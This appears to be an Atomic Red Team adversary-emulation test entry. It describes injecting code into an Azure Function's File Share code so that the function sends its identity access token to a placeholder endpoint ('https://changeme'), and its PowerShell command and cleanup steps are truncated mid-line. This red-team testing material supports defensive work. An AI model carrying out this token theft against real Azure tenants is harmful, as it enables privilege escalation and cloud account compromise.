Atomic Red Team — T1528: Steal Application Access Token
Test: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
Platforms: iaas:azure
Executor: powershell

Description:
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.

Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/

Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).

Note: 
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1528 "Azure - Functions code upload - Functions code injection via Blob upload".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path

Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Execution options: Defined by the input field execution_option
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).

Command:
az login    # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {
    # Download file for cleanup
    $tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
    az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode

    if ($LASTEXITCODE -eq 0) {
        # Upload new funciton code if download of existing code succe

Cleanup:
az login    # Log in to Azure CLI

# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --sha

Dependencies:
Azure CLI must be installed